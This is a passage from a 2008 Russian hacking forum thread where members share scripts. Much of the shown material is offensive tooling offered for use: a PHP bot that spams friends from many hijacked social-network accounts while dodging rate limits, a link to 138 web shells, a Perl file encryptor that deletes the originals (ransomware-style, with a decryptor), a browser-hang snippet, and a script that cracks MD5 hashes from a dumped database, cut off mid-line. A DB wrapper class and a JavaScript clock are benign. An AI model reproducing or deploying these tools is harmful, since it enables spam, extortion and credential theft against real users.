HTTP/1.1\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n". "Host: ".$GLOBALS["host"]."\r\n". $GLOBALS["logincookies"][$from_id]. "Content-Type: application/x-www-form-urlencoded\r\n". "Connection: close\r\n". "Content-Length: $len\r\n". "\r\n". "$post"; $conn = fsockopen($GLOBALS["host"], 80, $errno, $errstr, 1000); fputs($conn, $query); while (!feof($conn)) { $ss = fgets($conn, 128); } }
А теперь реализуем сам алгоритм работы программы:

Чтение акков (в формате id:emailassword)
сразу же сформируем массив кукисов $logincookies[$id], которые будут использоваться для логина под разными акками
$fp=@fopen($accsfile,"r"); while(!feof($fp)){ $account = trim(fgets($fp)); $ac = explode(":", $account); $id = $ac[0]; $email = $ac[1]; $md5 = md5($ac[2]); $accs[] = $id; $logincookies[$id] = "Cookie: remixchk=2; remixmid=$id; remixemail=$email; remixpass=$md5\r\n"; }fclose($fp);
Парсим списки френдов для каждого акка в массив $friends[$id][]:
$maxsize = 0; foreach ($accs as $curracc){ $currfriendspage = GetPage($host, $urlfriends, $logincookies[$curracc]); preg_match_all("/write&to=(\w+)/", $currfriendspage, $currfriends); foreach ($currfriends[1] as $currfriend){ $friends[$curracc][] = $currfriend; } $currsize = sizeof($friends[$curracc]); if ($currsize>$maxsize) $maxsize = $currsize; }
Для наблюдения за процессом рассылки выводим слои статуса, лога и следующую таблицу: строки=акки, столбцы=френды акков
echo "<table id='tableFr' border=1 cellspacing=0 cellpadding=0>". "<tr id='trFr0'>". "<td id='tdFr0_0'></td>"; for ($i=1;$i<=$maxsize;$i++) { echo "<td id='tdFr0_$i'>Friend$i</td>";}; echo "</tr>"; $n=1; foreach ($accs as $curracc){ echo "<tr id='trFr$n'>"; echo "<td id='tdFr".$n."_0'>id$curracc</td>"; for ($i=0;$i<sizeof($friends[$curracc]);$i++) { echo "<td id='tdFr".$n."_".($i+1)."'>".$friends[$curracc][$i]."</td>";}; for ($i=$i;$i<$maxsize;$i++) {echo "<td id='tdFr".$n."_".($i+1)."'>_</td>";}; echo "</tr>"; $n++; } echo "</table>". "<div style='border-width:1;border:1;color:#0000FF' id='statusDiv'></div><br>". "<div id='logDiv'></div>";
Таким образом пока первый акк простаивает установленное ему ограничение в одну секунду, рассылка продолжается на следующих акках, таким образом мы обходим защиту от множественных рассылок за единицу времени.
for($i=0;$i<$maxsize;$i++){ for($j=0;$j<sizeof($accs);$j++){ if ($i<sizeof($friends[$accs[$j]])) { echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor = '#0000FF';</script>"; SetStatus("Sending from ".$accs[$j]." to ".$friends[$accs[$j]][$i]); SendMail($accs[$j], $friends[$accs[$j]][$i], $title[$ % 2], $message[$i % 2]); echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor='#00FF00';<script>"; }} sleep(1); }

-Hormold-
03.07.2008, 13:19
мда....
ты можешь код привести в нормальный вид?

PEPSICOLA
03.07.2008, 20:05
Коллекция из 138 шелов:
http://rapidshare.com/files/82050926/138Shells.zip

На вирус тотале 29 из 33 антивирусов показали true :))))
http://www.virustotal.com/analisis/95029739037a9ccbb47c53355171c36f
на ваш страх и риск.

slik jay
05.07.2008, 13:07
мой скриптик для работы с бд.. элементарный, но может будет полезным.. :)

как пользоваться (http://board.gameplay.org.ua/showthread.php?t=1644)

извиняюсь за то что не пользуюсь тегом ПХП.. он глючит чегото..

<?php

/**
* bmDataBase
*
* @copyright 2008 slik
* @license http://www.gnu.org/licenses/gpl.html GNU General Public License
* @version $Id: ver 0.02 Wed Jul 02 17:05:06 UTC 2008 $
* @link http://dev.bmengine.net
* @author slik <slik.jay@gmail.com>
*/

// defines
define("BM_DB_TRANSACTION_START", 1);
define("BM_DB_TRANSACTION_END", 2);
define("BM_DB_TRANSACTION_RESET", 3);

define("BM_DB_SKIP", log(0));

define("BM_DB_RETURN_RESOURCE", 0);
define("BM_DB_RETURN_ARRAY", 1);
define("BM_DB_RETURN_LASTID", 2);
define("BM_DB_RETURN_ASSOCARRAY", 3);
define("BM_DB_RETURN_BOOL", 4);

class bmDataBase
{
private $ident_prefix = "";
private $link = null;
private $last_error;

private $logging = true;
private $query_logs;

private $statistics;

private $declimer_main = '#';
private $declimer_right = '}}';
private $declimer_left = '{{';

static private $instance = null;

/**
* Create the only object of this class
*
* @return bmDataBase
*/
static public function getInstance()
{
if (is_null(self::$instance)) self::$instance = new bmDataBase();
return self::$instance;
}

/**
* private methods
*/
private function __construct()
{
$this->query_logs = array();
$this->statistics = array();
$this->statistics['queries_count'] = 0;
}

private function __clone() {}

/**
* Connect to database using dns syntax
* mysql://user:password@host:port/database_name ...
* or array
* array (
* 'scheme' = > 'mysql', // only MySQL supported
* 'host' => 'host',
* 'port' => 'port', // if need
* 'user' => 'user',
* 'pass' => 'password',
* 'path' => 'database_name',
* 'ident_prefix' => 'ident_prefix' // if need (can use bmDataBase::setIdentPrefix)
* 'declimer_main' => 'declimer_main' // if need (can use bmDataBase::setMainDeclimer)
* 'declimer_left' => 'declimer_left' // if need (can use bmDataBase::setLeftDeclimer)
* 'declimer_right' => 'declimer_right' // if need (can use bmDataBase::setRightDeclimer)
* )
*
* @param string|array $dsn
* @return bool
*/
public function connect($dsn)
{
// Load database driver and create its instance.
$parsed = $this->parseDSN($dsn);
if (!$parsed)
return $this->_setLastError(-1, "Can't parse DNS string", "bmDataBase::connect");

// try to set ident prefix
if (isset($parsed['ident_prefix']))
$this->setIdentPrefix($parsed['ident_prefix']);

// try to set main declimer
if (isset($parsed['declimer_main']))
$this->setMainDeclimer($parsed['declimer_main']);

// try to set left declimer
if (isset($parsed['declimer_left']))
$this->setLeftDeclimer($parsed['declimer_left']);

// try to set right declimer
if (isset($parsed['declimer_right']))
$this->setRightDeclimer($parsed['declimer_right']);

if (!is_callable('mysql_connect'))
return $this->_setLastError(-1, "MySQL extension is not loaded", "mysql_connect");

$ok = $this->link = @mysql_connect(
$parsed['host'].(empty($parsed['port'])? "" : ":".$parsed['port']),
$parsed['user'],
$parsed['pass'],
true
);

$this->_resetLastError();
if (!$ok) return $this->_setLastError(-1, "Can't connect to database", "mysql_connect");
$parsed['path'] = strtr($parsed['path'], array('/' => ''));
$ok = @mysql_select_db($parsed['path'], $this->link);
if (!$ok) return $this->_setLastError(-1, "Can't select database '{$parsed['path']}'", "mysql_select_db");

return true;
}


/**
* parseDSN(mixed $dsn)
* Parse a data source name.
* See parse_url() for details.
*
* @return array
*/
protected function parseDSN($dsn)
{
// if argument is array
if (is_array($dsn))
{
if (array_key_exists('scheme', $dsn) &&
array_key_exists('host', $dsn) &&
array_key_exists('user', $dsn) &&
array_key_exists('pass', $dsn) &&
array_key_exists('path', $dsn))
return $dsn;
else
return null;
}

// if argument is string
$parsed = @parse_url(strval($dsn));

// argument empty..
if (!$parsed) return null;

// if used params
$params = null;
if (!empty($parsed['query']))
{
parse_str($parsed['query'], $params);
$parsed += $params;
}

// save dns string
$parsed['dsn'] = $dsn;

return $parsed;
}

/**
* set prefix for #_
*
* @param unknown_type $prefix
*/
public function setIdentPrefix($prefix)
{
$this->ident_prefix = strval($prefix);
}

/**
* set main declimer (default '#')
*
* @param string(1) $declimer
*/
public function setMainDeclimer($declimer)
{
$tmp = strval($declimer);
$this->declimer_main = $tmp[0];
}

/**
* set right declimer (default '{{')
*
* @param string(2) $declimer
*/
public function setRightDeclimer($declimer)
{
$this->declimer_right = substr(strval($declimer), 0, 2);
}

/**
* set left declimer (default '}}')
*
* @param string(2) $declimer
*/
public function setLeftDeclimer($declimer)
{
$this->declimer_right = substr(strval($declimer), 0, 2);
}

/**
* log sql queryes ?
*
* @param bool $log_it
*/
public function setLogging($log_it)
{
$this->logging = intval($log_it);
}

/**
* Return last error info
*
* @return array
*/
public function getLastError()
{
return $this->last_error;
}

/**
* return statistics
*
* @return array
*/
public function getStatistics()
{
return $this->statistics;
}

/**
* sql query using placeholders:
*
* #s - string: string
* #i - identificator: `indent`[, ...]
* #v - value 'value'[, ...]
* #a - assotiative array `key` = 'value'[, ...]
* #d - integer 10
* #f - float 0.0
* #n - string, but if empty, if 0 or if null, sets to NULL
* #_ - identification index for tables
*
* @param sting $sql[, ...]
* @return array
*/
public function query($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_RESOURCE);
}

/**
* return generated sql query
*
* @param string $sql[, ...]
* @return string
*/
public function query_debug($sql)
{
$args = func_get_args();
return $this->_parseSql($args);
}

/**
* sql query using placeholders (see bmDataBase::query)
*
* @param string $sql[, ...]
* @return int (last id)
*/
public function insert($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_LASTID);
}

/**
* sql query using placeholders (see bmDataBase::query)
*
* @param string $sql[, ...]
* @return array
*/
public function select($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_ARRAY);
}

public function update($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_BOOL);
}

/**
* sql query using placeholders (see bmDataBase::query)
*
* @param string $sql[, ...]
* @return assoc array
*/
public function selectRow($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_ASSOCARRAY);
}

/**
* you can use transactions
* actions:
* BM_DB_TRANSACTION_START - start transaction
* BM_DB_TRANSACTION_END - stop transaction (commit)
* BM_DB_TRANSACTION_RESET - reset transaction (rollback)
* @param int $action
*/
public function transaction($action)
{
switch ($action)
{
case BM_DB_TRANSACTION_START:
$this->query("BEGIN");
break;

case BM_DB_TRANSACTION_END:
$this->query("COMMIT");
break;

case BM_DB_TRANSACTION_RESET:
$this->query("ROLLBACK");
break;
}
}

protected function _setLastError($code, $msg, $query)
{
$info = array();
$context = "";

if (is_callable('debug_backtrace'))
{
$trace = debug_backtrace();
$context = empty($trace[1]['class'])?
$trace[1]['function']:
$trace[1]['class']."::".$trace[1]['function'];
$info['file'] = $trace[1]['file'];
$info['line'] = $trace[1]['line'];
$info['function'] = $trace[2]['function'];
$info['class'] = $trace[2]['class'];
}

$this->last_error = array('code' => $code,
'message' => $msg,
'query' => $query,
'context' => $context,
'info' => $info);

return false;
}

protected function _resetLastError()
{
$this->last_error = array();
}

protected function _logQuery($query)
{
if($this->logging)
$this->query_logs[] = $query;
}

protected function _escape($str, $is_ident = false)
{
if($is_ident)
return "`".str_replace("`", "``", strval($str))."`";
elseif(is_null($str))
return 'NULL';
else
return "'".mysql_real_escape_string(strval($str), $this->link)."'";
}

protected function _parseMacroses($sql)
{
$start = 0;
$macroses = array();
$macroses['placeholders'] = array();

$i = 0;
$p = 1;
while (($pos = strpos($sql, $this->declimer_left, $start)) !== false)
{
$macroses[$i]['begin'] = $pos;
$macroses[$i]['end'] = strpos($sql, $this->declimer_right, $pos+2) + 2;
$macroses[$i]['macros'] = substr($sql, $macroses[$i]['begin'], $macroses[$i]['end']-$macroses[$i]['begin']);
$chars = count_chars(substr($sql, $start, $macroses[$i]['begin']-$start), 0);
$macroses[$i]['placeholders_start'] = $chars[ord($this->declimer_main)];
$chars = count_chars($macroses[$i]['macros'], 0);
$macroses[$i]['placeholders_count'] = $chars[ord($this->declimer_main)];

$p += $macroses[$i]['placeholders_start'];

for ($j=0; $j<$macroses[$i]['placeholders_count']; $j++)
$macroses['placeholders'][$p++] = $i;

$start = $macroses[$i]['end'];
$i++;
}
return $macroses;
}

protected function _parseSql($args)
{
trim($args[0]);

// #_
$args[0] = strtr($args[0], array($this->declimer_main.'_' => $this->ident_prefix));

if(count($args) > 1)
{
$skip = array();

$macroses = $this->_parseMacroses($args[0]);

for($i=1, $cnt=count($args); $i<$cnt; $i++)
{
if($args[$i] === BM_DB_SKIP)
{
$skip[$macroses[$macroses['placeholders'][$i]]['macros']] = "";
foreach ($macroses['placeholders'] as $key => $val)
{
if($val == $macroses['placeholders'][$i])
{
unset($args[$key]);
}
}
}
}
$args = array_values($args);

$skip[$this->declimer_left] = " ";
$skip[$this->declimer_right] = " ";
$args[0] = strtr($args[0], $skip);

$sql = explode($this->declimer_main, $args[0]);
$main_sql = $sql[0];

for ($i=1, $cnt=count($sql); $i<$cnt; $i++)
{
$type = $sql[$i][0];
$sql[$i] = substr($sql[$i], 1);

if(!isset($args[$i]))
$args[$i] = null;

switch ($type)
{
case 's': // -------------------------------------
$main_sql .= strval($args[$i]);
break;

case 'i': // -------------------------------------
if (is_null($args[$i]))
return $this->_setLastError(-1, "Placeholder '#i' can't be 'NULL'", 'bmDataBase::query');
elseif (is_array($args[$i]))
{
foreach ($args[$i] as $val)
$main_sql .= $this->_escape($val, true).", ";
$main_sql = substr($main_sql, 0, -2);
}
else
$main_sql .= $this->_escape($args[$i], true);
break;

case 'v': // -------------------------------------
if (is_array($args[$i]))
{
foreach ($args[$i] as $val)
$main_sql .= $this->_escape($val).", ";
$main_sql = substr($main_sql, 0, -2);
}
else
$main_sql .= $this->_escape($args[$i]);
break;

case 'a': // -------------------------------------
if(is_array($args[$i]))
{
foreach ($args[$i] as $key => $val)
$main_sql .= $this->_escape($key, true)." = ".$this->_escape($val).", ";
$main_sql = substr($main_sql, 0, -2);
}
else
return $this->_setLastError(-1, "Placeholder '#a' must be array", "bmDataBase::query");
break;
/*
case '_': // -------------------------------------
$main_sql .= $this->ident_prefix;
array_unshift($args, 0);
break;*/

case 'd': // -------------------------------------
if (is_null($args[$i]))
$main_sql .= 'NULL';
else
$main_sql .= intval($args[$i]);
break;

case 'f': // -------------------------------------
if (is_null($args[$i]))
$main_sql .= 'NULL';
else
$main_sql .= floatval($args[$i]);
break;

case 'n': // -------------------------------------
if(empty($args[$i]) || is_null($args[$i]) || $args[$i] == 0)
$main_sql .= 'NULL';
else
$main_sql .= $this->_escape($args[$i]);
break;

default: // -------------------------------------
return $this->_setLastError(-1, "Unknown placeholder type '#".$type."'", 'bmDataBase::query');
break;
}

$main_sql .= $sql[$i];
}

if(isset($args[$i+1]))
$main_sql .= $sql[$i+1];
}
else
$main_sql = $args[0];

return $main_sql;
}

protected function _query($sql, $return_as)
{
// sql query
$resource = @mysql_query($sql);
$this->statistics['queries_count']++;

if(!$resource)
return $this->_setLastError(mysql_errno($this->link), mysql_error($this->link), $main_sql);

// parse resources
switch ($return_as)
{
case BM_DB_RETURN_RESOURCE:
$return_val = $resource;
break;

case BM_DB_RETURN_ARRAY:
$return_val = array();
while ($row = @mysql_fetch_assoc($resource))
$return_val[] = $row;
break;

case BM_DB_RETURN_LASTID:
$return_val = @mysql_insert_id($this->link);
break;

case BM_DB_RETURN_ASSOCARRAY:
$return_val = @mysql_fetch_assoc($resource);
break;
case BM_DB_RETURN_BOOL:
$return_val = true;
break;
}

$this->statistics['affected_rows'] = mysql_affected_rows($this->link);

return $return_val;
}
}

?>

krypt3r
10.07.2008, 12:28
По мотивам сообщений о вирусе Gpcode. Не вирус, естественно, обычный шифровщик файлов, просто заинтересовался крипт-модулями в перле. Состоит из трех скриптов:
1. генератор ключей (сохраняются в отдельном каталоге, эти ключи также можно встроить в сам код).
2. собственно шифровщик файлов - сами файлы шифруются алгоритмом RC4 (ключ генерится рандомно), формируется список "файл - RC4-ключ", каждая пара разделена табулятором. После шифрования файлов список шифруется открытым ключом RSA, сгенеренным первым скриптом. Закриптованные файлы сохраняются в том же каталоге, что и оригиналы, к их именам добавляется ._CRYPT (хе-хе). Исходный файл удаляется.
3. дешифровщик файлов - дешифрует сначала список файлов и ключей, используя закрытый ключ RSA, затем сами файлы.

1. Генератор ключей

#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RSA;

sub myexit ($);

my $rsa = Crypt::RSA->new ();
my ($public, $private) =
$rsa->keygen (
'Identity' => 'lamer@server.ru',
'Size' => 1024,
'Password' => 'Are you really thinking that you can hack my password phrase, eh?',
'Verbosity' => 1,
'Filename' => '/home/user/rsakeys/mykey', # в каталоге /home/user/rsakeys получим пару ключей mykey.public и mykey.private
) or myexit 'RSA keygen error: ' . $rsa->errstr, -1;

exit 0;

sub myexit ($$) {
my ($msg, $code) = @_;

print $msg, "\n";
exit $code;
}


2. Шифровщик

#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RC4;
use Crypt::RSA;

sub tree ($);
sub encrypt_file ($);
sub encrypt_list ();
sub myexit ($$);

tree './directory'; # Указываем путь к каталогу, обходим его рекурсивно
encrypt_list ();
exit 0;

# Генерируем парольную фразу для RC4
sub genphrase () {
my (@chars, $charlen, $passlen, $passphrase, $i);
@chars = qw (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9);
$charlen = scalar @chars;
$passlen = 10;
for $i (0 .. $passlen - 1) {
$passphrase .= $chars[int (rand ($charlen - 1))];
}
return $passphrase;
}

# Шифруем файл алгоритмом RC4
sub encrypt_file ($) {
my $fname = shift;
my ($F, $content, $rdeny, $wdeny, $rc4key, $rc4, $listfile);

#print 'Starting encryption: ', $fname, "\n";
$listfile = '_!_list_!_.txt'; # список пар "имя файла - RC4-ключ"
$rc4key = genphrase ();
#print $fname, "\t", $rc4key, "\n";
$rc4 = Crypt::RC4->new ($rc4key);
open $F, '<', $fname or $rdeny = 1;
unless ($rdeny) {
$content .= $_ while <$F>;
close $F;
$content = $rc4->RC4 ($content);
open $F, '>', $fname . '._CRYPT' or $wdeny = 1;
unless ($wdeny) {
binmode $F;
print $F $content;
close $F;
open $F, '>>', $listfile;
print $F $fname, "\t", $rc4key, "\n";
close $F;
unlink $fname;
}
#print "Encryption complete\n";
}
return 0;
}

# Шифруем фай-список открытым ключом RSA
sub encrypt_list () {
my ($rsa, $public, $F, $content, $listfile);

$rsa = Crypt::RSA->new ();
# два варианта использования ключа - брать из файла или внедрять прямо в код
# $public = Crypt::RSA::Key::Public ('Filename' => '/home/user/rsakeys/mykey.public');
$public = bless ( {
'e' => 65537,
'n' => 'тута_очень_многа_цифер ))',
'Version' => '1.97',
'Identity' => 'lamer@server.ru'
}, 'Crypt::RSA::Key::Public' );
$listfile = '_!_list_!_.txt';
open $F, '<', $listfile;
$content .= $_ while <$F>;
close $F;
$content = $rsa->encrypt (
'Message' => $content,
'Key' => $public,
'Armour' => 0,
);
open $F, '>', $listfile . '.new';
binmode $F;
print $F $content;
close $F;
unlink $listfile;
rename $listfile . '.new', $listfile;
return 0;
}

# Обход каталога рекурсивно
sub tree ($) {
my $dirname = shift;
my ($DIR, $fullpath, @files, $file, $deny);

opendir $DIR, $dirname or $deny = 1;#myexit 'opendir() error: ' . $!, -1;
unless ($deny) {
@files = readdir $DIR;
foreach $file (@files) {
next if $file eq '.' || $file eq '..';
$fullpath = $dirname . '/' . $file;
if (-d $fullpath) {
#print "$fullpath - directory\n";
tree $fullpath;
} elsif (-f $fullpath) {
encrypt_file $fullpath if $fullpath =~ /\.txt$/; # обрабатываем тока *.txt файлы
}
}
closedir $DIR;
}
}

sub myexit ($$) {
my ($msg, $code) = @_;

print $msg, "\n";
exit $code;
}


3. Декриптор файлов

#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RSA;
use Crypt::RC4;

sub decode_list ($);
sub decode_files ($);
sub myexit ($$);

my $content = decode_list '_!_list_!_.txt';
decode_files $content;

# Дешифруем список файлов и ключей закрытым ключом RSA
sub decode_list ($) {
my $listname = shift;
my ($content, $F, $rsa, $private);

open $F, '<', $listname or myexit 'list file open error: ' . $!, -1;
binmode $F;
$content .= $_ while <$F>;
close $F;
$rsa = Crypt::RSA->new () or myexit 'RSA init error: ' . Crypt::RSA->errstr, -1;
$private = Crypt::RSA::Key::Private->new ( # юзаем приватный ключ из внешнего файла
'Filename' => '/home/isn/rsakeys/krypt3r.private',
'Password' => 'Are you really thinking that you can hack my password phrase, eh?', # не забываем парольную фразу
);
$content = $rsa->decrypt (
'Cyphertext' => $content,
'Key' => $private,
'Armour' => 0,
) or myexit 'RSA decripting error: ' . $rsa->errstr, -1;
return $content;
}

# парсим расшифрованный список и затем расшифровываем файлы
# криптованные файлы удаляем
sub decode_files ($) {
my $content = shift;
my (@lines, $line, $fname, $newfname, $rc4key, $rc4, $F, $cnt);

@lines = split /\n/, $content;
foreach $line (@lines) {
($fname, $rc4key) = split /\t/, $line;
$rc4 = Crypt::RC4->new ($rc4key);
undef $cnt;
open $F, '<', $fname . '._CRYPT' or myexit 'encrypted file open error:' . $!, -1;
$cnt .= $_ while <$F>;
close $F;
$cnt = $rc4->RC4 ($cnt);
open $F, '>', $fname or myexit 'plaintext file open error: ' . $!, -1;
print $F $cnt;
close $F;
unlink $fname . '._CRYPT';
}
}

sub myexit ($$) {
my ($msg, $code) = @_;

print $msg, "\n";
exit $code;
}

Тестилось под линуксом. Требуются модули Crypt::RSA и Crypt::RC4. Доводить до ума уже лень =) Может, кто-нить заюзает.

bulyako
11.07.2008, 17:30
Аналоговые, следящие за скроллингом часы
Скрипт поместите между <HEAD> и </HEAD>

<SCRIPT LANGUAGE="JavaScript">
<!-- Original: Kurt Grigg (kurt.grigg@virgin.net) -->
<!-- Web Site: http://website.lineone.net/~kurt.grigg/javascript -->

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
fCol = '000000'; //Цвет цифр.
sCol = 'ff0000'; //Цвет секундной стрелки.
mCol = '000000'; //Цвет минутной стрелки.
hCol = '000000'; //Цвет часовой стрелки.
H = '....';
H = H.split('');
M = '.....';
M = M.split('');
S = '......';
S = S.split('');
Ypos = 0;
Xpos = 0;
Ybase = 8;
Xbase = 8;
dots = 12;
ns = (document.layers)?1:0;
if (ns) {
dgts = '1 2 3 4 5 6 7 8 9 10 11 12';
dgts = dgts.split(' ');
for (i = 0; i < dots; i++) {
document.write('<layer name=nsDigits'+i+' top=0 left=0 height=30 width=30><center><font face=Arial,Verdana size=1 color='+fCol+'>'+dgts[i]+'</font></center></layer>');
}
for (i = 0; i < M.length; i++) {
document.write('<layer name=ny'+i+' top=0 left=0 bgcolor='+mCol+' clip="0,0,2,2"></layer>');
}
for (i = 0; i < H.length; i++) {
document.write('<layer name=nz'+i+' top=0 left=0 bgcolor='+hCol+' clip="0,0,2,2"></layer>');
}
for (i = 0; i < S.length; i++) {
document.write('<layer name=nx'+i+' top=0 left=0 bgcolor='+sCol+' clip="0,0,2,2"></layer>');
}
}
else {
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 1; i < dots+1; i++) {
document.write('<div id="ieDigits" style="position:absolute;top:0px;left:0px; width:30px;height:30px;font-family:Arial,Verdana; font-size:10px;color:'+fCol+'; text-align:center;padding-top:10px">'+i+'</div>');
}
document.write('</div></div>')
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < M.length; i++) {
document.write('<div id=y style="position:absolute;width:2px;height:2px;font-size:2px; background:'+mCol+'"></div>');
}
document.write('</div></div>')
document.write('</div></div>')
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < H.length; i++) {
document.write('<div id=z style="position:absolute;width:2px;height:2px; font-size:2px;background:'+hCol+'"></div>');
}
document.write('</div></div>')
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < S.length; i++) {
document.write('<div id=x style="position:absolute;width:2px;height:2px; font-size:2px;background:'+sCol+'"></div>');
}
document.write('</div></div>')
}
function clock() {
time = new Date ();
secs = time.getSeconds();
sec = -1.57 + Math.PI * secs/30;
mins = time.getMinutes();
min = -1.57 + Math.PI * mins/30;
hr = time.getHours();
hrs = -1.57 + Math.PI * hr/6 + Math.PI*parseInt(time.getMinutes())/360;
if (ns) {
Ypos = window.pageYOffset+window.innerHeight-60;
Xpos = window.pageXOffset+window.innerWidth-80;
}
else {
Ypos = document.body.scrollTop + window.document.body.clientHeight - 60;
Xpos = document.body.scrollLeft + window.document.body.clientWidth - 60;
}
if (ns) {
for (i = 0; i < dots; ++i){
document.layers["nsDigits"+i].top = Ypos - 5 + 40 * Math.sin(-0.49+dots+i/1.9);
document.layers["nsDigits"+i].left = Xpos - 15 + 40 * Math.cos(-0.49+dots+i/1.9);
}
for (i = 0; i < S.length; i++){
document.layers["nx"+i].top = Ypos + i * Ybase * Math.sin(sec);
document.layers["nx"+i].left = Xpos + i * Xbase * Math.cos(sec);
}
for (i = 0; i < M.length; i++){
document.layers["ny"+i].top = Ypos + i * Ybase * Math.sin(min);
document.layers["ny"+i].left = Xpos + i * Xbase * Math.cos(min);
}
for (i = 0; i < H.length; i++){
document.layers["nz"+i].top = Ypos + i * Ybase * Math.sin(hrs);
document.layers["nz"+i].left = Xpos + i * Xbase * Math.cos(hrs);
}
}
else{
for (i=0; i < dots; ++i){
ieDigits[i].style.pixelTop = Ypos - 15 + 40 * Math.sin(-0.49+dots+i/1.9);
ieDigits[i].style.pixelLeft = Xpos - 14 + 40 * Math.cos(-0.49+dots+i/1.9);
}
for (i=0; i < S.length; i++){
x[i].style.pixelTop = Ypos + i * Ybase * Math.sin(sec);
x[i].style.pixelLeft = Xpos + i * Xbase * Math.cos(sec);
}
for (i=0; i < M.length; i++){
y[i].style.pixelTop = Ypos + i * Ybase * Math.sin(min);
y[i].style.pixelLeft = Xpos + i * Xbase * Math.cos(min);
}
for (i=0; i < H.length; i++){
z[i].style.pixelTop = Ypos + i * Ybase*Math.sin(hrs);
z[i].style.pixelLeft = Xpos + i * Xbase*Math.cos(hrs);
}
}
setTimeout('clock()', 50);
}
if (document.layers || document.all) window.onload = clock;
// End -->
</script>

astrologer
11.07.2008, 19:15
Аналоговые, следящие за скроллингом часы
Скрипт поместите между <HEAD> и </HEAD> s/Полезные/Позорные/

YaLTeR
13.07.2008, 17:27
Вот еще правда не знаю чем вызвано.
Попробуйте врубить в ИЕ. комп от перезагрузки страницы может повиснуть.

<html>
<head>
</head>
<body>
<form onSubmit=alert()>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

MaZaHaKer
13.07.2008, 17:31
=/ не совсем полезный скрипт .

SUBJECT617
13.07.2008, 18:06
Скрипт хавает БД, вытягивает оттуда хэши, проверяет их на сервисе онлайн проверок и складывает по файликам(Найденное, ненайденное)

Если у кого очень слабая машина или по каким другим причинам пасс про и подобные проги юзать нет возможности, да еще и подождать могут, надеюсь те оценят скрипт... Медленный он из-за задержек после каждого 10го хэша, я бороться с этим уже устал поэтому выложу тут, вдруг кому пригодится или под себя поправит.

Версия для md5.xek.cc (предпочтительна)
<?php
if ($argc<4)
{
echo '================================================= ========================'."\n";
echo '================================================= ========================'."\n";
echo "Usage: $argv[0] <database> <found> <not_found>\n\n\n";
echo 'Where database.txt - path to database with'." ':' ".'separator,'."\n".'found.txt - path to file, where you will see found hashes,'."\n";
echo 'not_found.txt - path to file with hashes not found in md5.xek.cc database.'."\n";
echo '================================================= ========================'."\n";
echo '================================================= ========================'."\n";
die;
}
$id = 0;
$filename = "$argv[1]";
$filename2 = "$argv[2]";
$filename3 = "$argv[3]";
$of2 = fopen($filename2,"w+");
$of3 = fopen($filename3,"w+");
$all = count(file($filename));
echo " Database contains $all entries\n\n";
function post($data)
{
$buf = '';
$fp = @fsockopen('md5.xek.cc',80);
if ($fp) {
fputs($fp, 'POST /index.php HTTP/1.1'."\n");
fputs($fp, 'Host: md5.xek.cc'."\n");
fputs($fp, 'Content-type: application/x-www-form-urlencoded'."\n");
fputs($fp, 'Content-length: ' . strlen($data) . "\n");
fputs($fp, 'User-Agent: PHP Script'."\n");
fputs($fp, 'Connection: close'."\n\n");
fputs($fp, $data);
while(!feof($fp))
$buf .= fread($fp,2048);
preg_replace('/\W[b]\W[\n][0-9]{6}\W\W[b]\W/','',$buf);
fclose($fp);
return $buf;
}
else{
return 'Server is not responding!';
}

}
$content = join('',file($filename));
$fcontent = preg_replace("/\n/",":",$content);
preg_match_all('/[0-9a-z]{32}/',$fcontent, $whatfound);
while (@$whatfound[0][$id] != '')
{
$hash = $whatfound[0][$id];
$page = post("hash=$hash&act=find");
if (preg_match('/\W[b]\W(.{3,30})\W\W[b]\W/',$page,$matches))
{
$pass = $matches[1];
fputs($of2,"$id : $pass\n");
$status = '+';
}
else
{
fputs($of3,"$id : $hash\n");
$status = '';
}
$id += 1;
$checked = count(file($filename2)) + count(file($filename3));
echo " $checked$status\n";
}
@fclose($of1);
@fclose($of2);
@fclose($of3);
echo ' Done!'."\n";
$found = count(file($filename2));
echo ' ++++++++++++++++++++++++++'."\n";
echo " $found of $all hashes found!"."\n";
echo ' ++++++++++++++++++++++++++'."\n\n";
?>

Версия для hashkiller.com
<?php
if ($argc<4)
{
echo '================================================= ========================'."\n";
echo '================================================= ========================'."\n";
echo "Usage: $argv[0] <database> <found> <not_found>\n\n\n";
echo 'Where database.txt - path to database'."\n".'found.txt - path to file, where you will see found hashes,'."\n";
echo 'not_found.txt - path to file with hashes not found in hashkiller.com database.'."\n";
echo '================================================= ========================'."\n";
echo '================================================= ========================'."\n";
die;
}
$id = 0;
$filename = "$argv[1]";
$filename2 = "$argv[2]";
$filename3 = "$argv[3]";
$of2 = fopen($filename2,"w+");
$of3 = fopen($filename3,"w+");
$all = count(file($filename));
echo " Database contains $all entries\n\n";
function post($data)
{
$buf = '';
$fp = @fsockopen('hashkiller.com',80);
if ($fp) {
fputs($fp, 'POST /crack/ HTTP/1.1'."\n");
fputs($fp, 'Host: hashkiller.com."\n");
